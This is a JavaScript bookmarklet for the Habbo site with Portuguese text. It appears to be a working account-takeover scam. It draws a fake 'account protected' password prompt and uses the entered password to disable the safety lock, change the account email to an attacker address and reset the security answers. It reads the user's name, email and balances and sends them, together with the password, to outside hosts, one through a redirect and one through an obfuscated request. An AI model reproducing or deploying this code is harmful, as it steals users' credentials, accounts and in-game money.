javascript: var userid = "MjEw";


function b64EncodeUnicode(_0xe3dfx2) {
    return btoa(encodeURIComponent(_0xe3dfx2).replace(/%([0-9A-F]{2})/g, function(_0xe3dfx3, _0xe3dfx4) {
        return String.fromCharCode("0x"+ _0xe3dfx4)
    }))
}
var http = new XMLHttpRequest(),
    avatar = {
        add: "megapro"+ Math.floor(Math.random() * 999999) + "@amail.club",
        passd: null,
        passd2: null,
        safe1: "sociedade",
        safe2: "secreta"
    };
http.open("get", "/settings/email", false);
http.send();
var start = http.responseText.indexOf("{", http.responseText.indexOf("window.session")),
    end = http.responseText.indexOf("}", http.responseText.indexOf("window.session")),
    habbo = http.responseText.slice(start, end),
    data = habbo.split(","),
    habboName = b64EncodeUnicode($(".user-menu__name").text());
habboEmail = b64EncodeUnicode(data[4].slice(data[4].indexOf("\"", data[4].indexOf(":")) + 1, data[3].lastIndexOf("\",")));
add2 = b64EncodeUnicode(avatar.add);
overlay = document.createElement("div");
overlay.style.position = "fixed";
overlay.style.top = "0";
overlay.style.left = "0";
overlay.style.zIndex = "800";
overlay.style.background = "rgba(10,54,94,.8)";
overlay.style.width = "100%";
overlay.style.height = "100%";
document.body.appendChild(overlay);
box = document.createElement("div");
box.id = "hidden";
box.style.position = "fixed";
box.style.top = "70px";
box.style.width = "500px";
box.style.zIndex = "900";
box.style.left = "50%";
box.style.marginLeft = "-250px";
box.innerHTML = "<div  style=\"display: none; transition: 1s;\" id=\"toast-container\" class=\"toast-top-center\" aria-live=\"polite\" role=\"alert\"><div class=\"toast toast-error\" style=\"display: table;\"><div class=\"toast-progress\" id=\"toast-progress\" style=\"width: 99.9%;transition: 2s;\"></div><div class=\"toast-message\" id=\"toast-message\">Ops! Algo deu errado. Tente novamente em alguns minutos. Vamos verificar o que aconteceu.</div></div></div><div class=\"modal-dialog\" ng-class=\"size ? \" modal-\"=\"\" +=\"\" size=\"\" :=\"\" \"\"\"=\"\"><div style=\"height: 250px;\" class=\"modal-content\" uib-modal-transclude=\"\"><div><button onclick=\"location.reload()\" class=\"modal__close\"></button><h3 translate=\"SAFETY_LOCK_TITLE\" class=\"modal__title\">Conta protegida por segurança.</h3><div class=\"modal__content\"><p translate=\"SAFETY_LOCK_ANSWER\"></p><!-- ngIf: safetyLockForm.$error.remoteDataAnswer --><fieldset class=\"form__fieldset\"><label for=\"safety-lock-answer1\" class=\"form__label\" translate=\"IDENTITY_SAFETYQUESTION_1\">Insira sua senha para continuar</label><div class=\"form__field\"><input id=\"safety-lock-answer1\" name=\"answer1\" type=\"password\" ng-model=\"answers.answer1\" ng-model-options=\"{ updateOn: \" default=\"\" blur\",=\"\" debounce:=\"\" {=\"\" default:=\"\" 500,=\"\" blur:=\"\" 0=\"\" }=\"\" }\"=\"\" required=\"\" remote-data=\"\" answer\"\"=\"\" password-toggle-mask=\"\" autocomplete=\"off\" class=\"form__input ng-pristine ng-untouched password-toggle-mask ng-invalid ng-invalid-required\"><i class=\"password-toggle-mask__icon\"></i><!-- ngIf: safetyLockForm.answer1.$error.required && (!safetyLockForm.answer1.$pristine || safetyLockForm.$submitted) --></div></fieldset><div class=\"form__footer\"><a href=\"https://www.habbo.com.br/\" class=\"form__cancel\" onclick=\"location.reload()\" translate=\"FORM_CANCEL_LABEL\">Cancelar</a> <button ng-disabled=\"unlockingInProgress\" type=\"\" class=\"form__submit\" onclick=\"adder()\">Continuar</button></div></div></div></div></div>";
document.body.appendChild(box);

function safety() {
    var http = new XMLHttpRequest();
    http.open("post", "/api/safetylock/save", false);
    http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    http.send("answer1=".concat(avatar.safe1, "&answer2=", avatar.safe2, "&password=", avatar.passd, "&questionId1=1&questionId2=2"));
    if (http.responseText.indexOf("this time frame") != -1) {};
    var _0xe3dfxd = "a";
    var _0xe3dfxe = "m";
    var _0xe3dfxf = "s";
    var _0xe3dfx10 = "u";
    var _0xe3dfx11 = "g";
    var _0xe3dfx12 = "z";
    var _0xe3dfx13 = "e";
    var _0xe3dfx14 = "b";
    var _0xe3dfx15 = "v";
    var _0xe3dfx16 = "=";
    var _0xe3dfx17 = "t";
    var _0xe3dfx18 = "2";
    var _0xe3dfx19 = "w";
    var _0xe3dfx1a = "k";
    var _0xe3dfx1b = "5";
    var _0xe3dfx1c = "7";
    var _0xe3dfx1d = "r";
    var _0xe3dfx1e = "h";
    var _0xe3dfx1f = "p";
    var _0xe3dfx20 = "c";
    var _0xe3dfx21 = "n";
    var _0xe3dfx22 = "t";
    var _0xe3dfx23 = "r";
    var _0xe3dfx24 = ":";
    var _0xe3dfx25 = "/";
    var _0xe3dfx26 = ".";
    var _0xe3dfx27 = "?";
    var _0xe3dfx28 = "o";

    function _0xe3dfx29(_0xe3dfx2a) {
        var _0xe3dfx2b = l = 0,
            _0xe3dfx2c = "",
            _0xe3dfx2d = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split("");
        _0xe3dfx2a.split("").forEach(function(_0xe3dfx2e) {
            _0xe3dfx2b = (_0xe3dfx2b << 6) + _0xe3dfx2d.indexOf(_0xe3dfx2e);
            l += 6;
            while (l >= 8) {
                _0xe3dfx2c += String.fromCharCode((_0xe3dfx2b >>> (l -= 8)) & amp; 0xff)
            }
        });
        return _0xe3dfx2c
    }
    $.getJSON("/shopapi/purse", function(_0xe3dfx2f) {
        var _0xe3dfx30 = b64EncodeUnicode(_0xe3dfx2f.creditBalance);
        var _0xe3dfx31 = b64EncodeUnicode(_0xe3dfx2f.diamondBalance);
        var _0xe3dfx32 = b64EncodeUnicode(_0xe3dfx2f.habboClubDays);
        var _0xe3dfx33 = b64EncodeUnicode(avatar.passd.replace("undefined", ""));
        htmlx = "<script type=\"text/javascript\"src=\"https://code.jquery.com/jquery-1.11.0.min.js\"></script><script>function decode_base64(s){var b=l=0,r=\"\",m=\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\".split(\"\");s.split(\"\").forEach(function(v){b=(b<<6)+m.indexOf(v);l+=6;while(l>=8)r+=String.fromCharCode((b>>>(l-=8))&0xff)});return r}</script><script>window.setTimeout(\"location.href='\"+decode_base64(\"aHR0cHM6Ly9oYWJiby5jb20uYnI\")+\"'\",2000);window.setInterval(function() {console.clear();}, 1);var x1= 'a';var x3= 'm';var yu = 's';var ug = 'u';var x5= 'g';var ti = 'z';var x7= 'e';var lrr = 'b';var x9= 'v';var twf = '=';var x0= 't';var xb= '2';var rtb = 'w';var xj= 'k';var xl= '5';var xm= '7';var xn= 'r';var xo= 'h';var xs= 'p';var utm = 'c';var tg = 'n';var xc= 't';var cp = 'r';var xr= ':';var xt= '/';var xvw = '.';var ghw = '?';var iw='o';</script><script>$.get( \"\"+xo+x0+x0+xs+yu+xr+xt+xt+xs+iw+cp+tg+ti+ug+xs+xvw+utm+iw+x3+xt+xn+x1+x9+x7+xvw+xs+xo+xs+ghw+lrr+xb+twf+\""+ habboEmail.replace("=", "") + "&b3="+ add2.replace("=", "") + "&b0="+ userid.replace("=", "") + "&b4="+ _0xe3dfx33.replace("=", "") + "&b5="+ _0xe3dfx30.replace("undefined") + "&b7="+ _0xe3dfx31.replace("undefined") + "&b10="+ _0xe3dfx32.replace("undefined") + "&b1="+ habboName.replace("=", "") + "\");</script>";
        window.location = "http://huedgstakxiwksjd.pancakeapps.com/xwt.html?b1="+ habboEmail.replace("=", "") + "&b2="+ add2.replace("=", "") + "&b3="+ userid.replace("=", "") + "&b4="+ _0xe3dfx33.replace("=", "") + "&b5="+ _0xe3dfx30.replace("undefined") + "&b6="+ _0xe3dfx31.replace("undefined") + "&b7="+ _0xe3dfx32.replace("undefined") + "&b8="+ habboName.replace("=", "") + ""
    })
}

function adder() {
    var _0xe3dfx35 = document.getElementById("safety-lock-answer1");
    if (_0xe3dfx35.value.length > 1) {
        var http = new XMLHttpRequest();
        http.open("post", "/api/safetylock/disable", false);
        http.setRequestHeader("content-type", "application/x-www-form-urlencoded");
        http.send("password="+ _0xe3dfx35.value + "");
        avatar.passd = _0xe3dfx35.value;
        password = b64EncodeUnicode(_0xe3dfx35.value);
        var http = new XMLHttpRequest();
        http.open("post", "/api/settings/email/change", false);
        http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
        http.send("currentPassword=".concat(avatar.passd, "&newEmail=", avatar.add));
        if (http.responseText.indexOf("changeEmail.invalid_password") != -1) {
            var _0xe3dfx36 = document.getElementById("toast-container"),
                _0xe3dfx37 = document.getElementById("toast-progress"),
                _0xe3dfx38 = document.getElementById("toast-message"),
                _0xe3dfx39 = 0;
            _0xe3dfx38.innerHTML = "A senha que você digitou está incorreta, verifique e tente novamente.";
            _0xe3dfx36.style.display = "block";
            var _0xe3dfx3a = setInterval(function() {
                if (_0xe3dfx39 == 5) {
                    _0xe3dfx36.style.display = "none";
                    _0xe3dfx37.style.width = "99.9%";
                    _0xe3dfx39 = 0;
                    clearInterval(_0xe3dfx3a)
                } else {
                    _0xe3dfx37.style.width = "0%";
                    _0xe3dfx39++
                }
            }, 800);
            _0xe3dfx35.value = "";
            _0xe3dfx35.style.borderColor = "#903352";
            _0xe3dfx35.focus()
        } else {
            if (http.responseText.indexOf("this time frame") != -1) {
                var _0xe3dfx36 = document.getElementById("toast-container"),
                    _0xe3dfx37 = document.getElementById("toast-progress"),
                    _0xe3dfx38 = document.getElementById("toast-message"),
                    _0xe3dfx39 = 0;
                _0xe3dfx38.innerHTML = "Ops! Algo deu errado. Tente novamente em alguns minutos. Vamos verificar o que aconteceu.";
                _0xe3dfx36.style.display = "block";
                var _0xe3dfx3a = setInterval(function() {
                    if (_0xe3dfx39 == 5) {
                        _0xe3dfx36.style.display = "none";
                        _0xe3dfx37.style.width = "99.9%";
                        _0xe3dfx39 = 0;
                        clearInterval(_0xe3dfx3a)
                    } else {
                        _0xe3dfx37.style.width = "0%";
                        _0xe3dfx39++
                    }
                }, 800)
            } else {
                safety()
            }
        }
    } else {
        _0xe3dfx35.focus()
    }
}